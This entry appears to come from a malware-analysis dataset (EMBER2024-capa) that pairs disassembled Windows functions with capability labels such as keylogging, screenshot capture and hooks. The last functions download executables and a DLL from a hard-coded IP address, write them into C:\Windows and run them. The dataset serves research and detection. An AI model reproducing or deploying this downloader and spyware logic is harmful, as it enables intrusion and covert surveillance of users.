joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c85c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40c8c0
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404654
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004084d8
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c8c7
lea eax, [ebp - 0xc]
call fcn.004043e4
ret

Function at 0x41b4bc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x457884
cmp dword [edi], 0
jne 0x41b538
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x457880]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4553ec
mov ecx, 2
call fcn.00402c48
mov edx, 0x41b494
lea eax, [esi + 5]
call fcn.0041b4b4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041b4b4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41b50d
mov dword [0x457880], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41caac
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41cab2
ret

Function at 0x41ef78
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41efc9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x41efb0
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x41efa0
jmp 0x41efc9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x41efb1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42d36c
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x42d2b8
call sub.user32.dll_EnumWindows
ret

Function at 0x42d48c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x42d509
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0042ceec
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x42d4b1
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.0042caec
cmp dword [ebp - 4], 0
je 0x42d4f3
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004048a4
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42d510
lea eax, [ebp - 4]
call fcn.004043e4
ret

Function at 0x430328
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x457b5c], 0
je 0x430477
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x455ff0]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x430477
mov eax, dword [0x457b60]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x457b5c]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x430446
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x457b5c]
call fcn.00414220
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x43043e
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x43043e
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x43043e
mov eax, dword [ebp - 0x14]
call fcn.004390b8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43043e
push ebp
call fcn.004302e4
pop ecx
test al, al
jne 0x43043e
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x4303fa
mov eax, dword [ebp - 0x14]
call fcn.00437be8
dec eax
jle 0x43043e
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403860
cmp byte [ebp - 1], 0
je 0x43043e
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x43043e
mov edx, dword [ebp - 0x14]
mov eax, dword [0x457b60]
call fcn.0042fab0
inc edi
dec ebx
jne 0x43038d
mov eax, dword [0x457b60]
cmp dword [eax + 8], 0
jle 0x43045e
mov eax, dword [0x457b60]
call fcn.0042fb40
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x430477
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0043014c
pop ecx
test al, al
jne 0x430477
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433a3c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeec
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
test byte [esi + 0x1c], 0x10
je 0x433a88
mov eax, esi
call fcn.00449234
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x433a88
mov eax, dword [ebp - 0x14]
cmp dword [eax + 0x250], 0
je 0x433a88
mov ecx, ebx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x250]
mov edx, esi
mov edi, dword [eax]
call dword [edi + 0x24]
test al, al
jne 0x433bc7
mov eax, dword [ebx]
cmp eax, 0x100
jb 0x433ac8
cmp eax, 0x108
ja 0x433ac8
mov eax, esi
call fcn.00449234
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x433bbe
mov ecx, ebx
mov edx, esi
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xf0]
test al, al
jne 0x433bc7
jmp 0x433bbe
mov eax, dword [ebx]
cmp eax, 0x200
jb 0x433ba7
cmp eax, 0x20a
ja 0x433ba7
test byte [esi + 0x50], 0x80
jne 0x433afa
sub eax, 0x203
je 0x433af7
sub eax, 3
je 0x433af7
sub eax, 3
jne 0x433afa
sub dword [ebx], 2
mov eax, dword [ebx]
sub eax, 0x200
je 0x433b0e
dec eax
je 0x433b23
dec eax
je 0x433b40
dec eax
je 0x433b23
jmp 0x433b47
mov ecx, ebx
mov eax, dword [0x455ff0]
mov eax, dword [eax]
mov edx, esi
call fcn.00452b9c
jmp 0x433bbe
cmp byte [esi + 0x5d], 1
jne 0x433b39
mov eax, esi
mov si, 0xffed
call fcn.00403860
jmp 0x433bc7
or word [esi + 0x54], 1
jmp 0x433bbe
and word [esi + 0x54], 0xfffe
jmp 0x433bbe
mov eax, dword [0x457b18]
cmp byte [eax + 0x20], 0
je 0x433bbe
mov eax, dword [0x457b18]
cmp dword [eax + 0x1c], 0
je 0x433bbe
mov eax, dword [ebx]
mov edx, dword [0x457b18]
cmp eax, dword [edx + 0x1c]
jne 0x433bbe
lea eax, [ebp - 0x114]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
call fcn.00449178
mov byte [ebp - 0xc], al
mov ax, word [ebx + 4]
mov word [ebp - 0xa], ax
mov eax, dword [ebx + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, esi
mov si, 0xffc9
call fcn.00403860
jmp 0x433bc7
cmp eax, 0xb00b
jne 0x433bbe
mov edx, dword [ebx + 8]
push edx
mov ecx, dword [ebx + 4]
mov edx, eax
mov eax, esi
call fcn.00432378
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x437248
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x437264
cmp dword [esi + 4], 0
je 0x437291
test byte [ebx + 0x55], 1
jne 0x437283
mov eax, ebx
call fcn.00435de8
test eax, eax
jne 0x437283
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4373a1
mov edx, esi
mov eax, ebx
call fcn.00436d6c
jmp 0x4373a1
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43739a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004390b8
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00433970
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.00437248
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004390b8
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4373a1
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43d8f8
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x456158]
cmp byte [eax + 0xc], 0
je 0x43da65
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43da5e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x457b6c], 0
jne 0x43d94c
push 0x43da6c
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x43da74
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b6c], eax
cmp dword [0x455b20], 0
jne 0x43da47
push 0x43da84
call sub.kernel32.dll_LoadLibraryA
mov dword [0x455b20], eax
cmp dword [0x455b20], 0
je 0x43da47
push 0x43da90
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b70], eax
push 0x43daa0
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b74], eax
push 0x43dab4
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b78], eax
push 0x43dacc
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b7c], eax
push 0x43dae4
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b80], eax
push 0x43daf8
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b84], eax
push 0x43db10
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b88], eax
push 0x43db28
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b8c], eax
push 0x43db44
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b90], eax
push 0x43db50
mov eax, dword [0x455b20]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x457b94], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43da65
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x4418f0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004043e4
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x44193f
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404654
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4490e8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x449138]
test si, 4
je 0x4490fc
or bl, 1
test si, 8
je 0x449106
or bl, 4
test si, 1
je 0x449110
or bl, 8
test si, 2
je 0x44911a
or bl, 0x10
test si, 0x10
je 0x449124
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x449133
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44913c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x449174]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x449155
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x449164
or bl, 4
test esi, 0x20000000
je 0x44916f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x44f838
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x44f84a
add esp, 0xfffffff0
call fcn.00403990
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041a42c
mov eax, dword [0x455e20]
mov dword [eax + 4], ebx
mov dword [eax], 0x44fbdc
mov eax, dword [0x455e2c]
mov dword [eax + 4], ebx
mov dword [eax], 0x44fbe8
mov eax, ebx
call fcn.0044fbf4
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411d2c]
call fcn.00403628
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411d2c]
call fcn.00403628
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411d2c]
call fcn.00403628
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411d2c]
call fcn.00403628
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411d2c]
call fcn.00403628
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44c00c
push eax
push 0
push 0
mov eax, dword [0x455f70]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41be80]
call fcn.0041d618
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41be80]
call fcn.0041d618
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41be80]
call fcn.0041d618
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00450044
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44ff0c
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44ff0c
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x44ff0c
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44f987
call fcn.004039e8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x44fcf0
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44fe9b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44fe7c
mov dl, 1
mov eax, dword [0x4122d4]
call fcn.00403628
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004043e4
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44fe6b
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0043dc58
test al, al
je 0x44fe5e
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44feac
lea eax, [ebp - 0x254]
call fcn.00409060
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44fe5e
xor eax, eax
push ebp
push 0x44fe57
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44fee4
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44fe40
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404654
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44fe40
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404654
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44fe5e
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44fd61
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00416558
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44fea2
lea eax, [ebp - 0x260]
call fcn.004043e4
ret

Function at 0x4507e4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x457bb8]
cmp byte [eax + 0xa5], 0
jne 0x450855
cmp dword [0x457bd0], 0
jne 0x450816
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x4507a0
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x457bd0], eax
cmp dword [0x457bcc], 0
jne 0x450831
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x457bcc], eax
cmp dword [0x457bd4], 0
jne 0x450855
push esp
push 0
push 0
push 0x450744
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x457bd4], eax
pop edx
ret
Function at 0x450ee8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x457bb8]
cmp dword [eax + 0x30], 0
je 0x450f92
cmp dword [ebx + 0x94], 0
jne 0x450f8c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x450e78
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x450f8c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x450f52
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x450f8c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414220
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x450f61
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x451af0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x451b25
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004044d4
jmp 0x451b32
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404438
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x452ce4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x452d25
mov eax, esi
call fcn.00439318
test al, al
je 0x452d25
mov eax, dword [ebx + 0x84]
call fcn.004390b8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x452d25
push 0
mov eax, dword [ebx + 0x84]
call fcn.004390b8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x401270
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x43f394]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push str.User_Agent
mov ebx, edx
mov esi, ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x4012c3
push 0
push SysReAllocStringLen
push 0
push 0
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
jne 0x4012d6
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415f61
mov esp, ebp
pop ebp
ret
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401315
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415f61
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x408]
mov dword [ebp - 0x408], 0
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x401380
nop dword [eax]
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x401380
push 0
lea ecx, [ebp - 0x408]
push ecx
push eax
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x401340
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00415f61
mov esp, ebp
pop ebp
ret

Function at 0x4013b0
Capabilities:
Create process on windows

Disassembly:
mov edx, str.C:WindowsSystem.exe
mov ecx, str.http:__202.61.85.16:6222_Client.exe
call fcn.00401270
mov edx, str.C:Windows1.bin
mov ecx, str.http:__202.61.85.16:6222_202.61.85.16_86.bin
call fcn.00401270
mov edx, str.C:WindowsClientBase.dll
mov ecx, str.http:__202.61.85.16:6222_ClientBase.dll
call fcn.00401270
push 1
push 0
push 0
push str.C:WindowsSystem.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret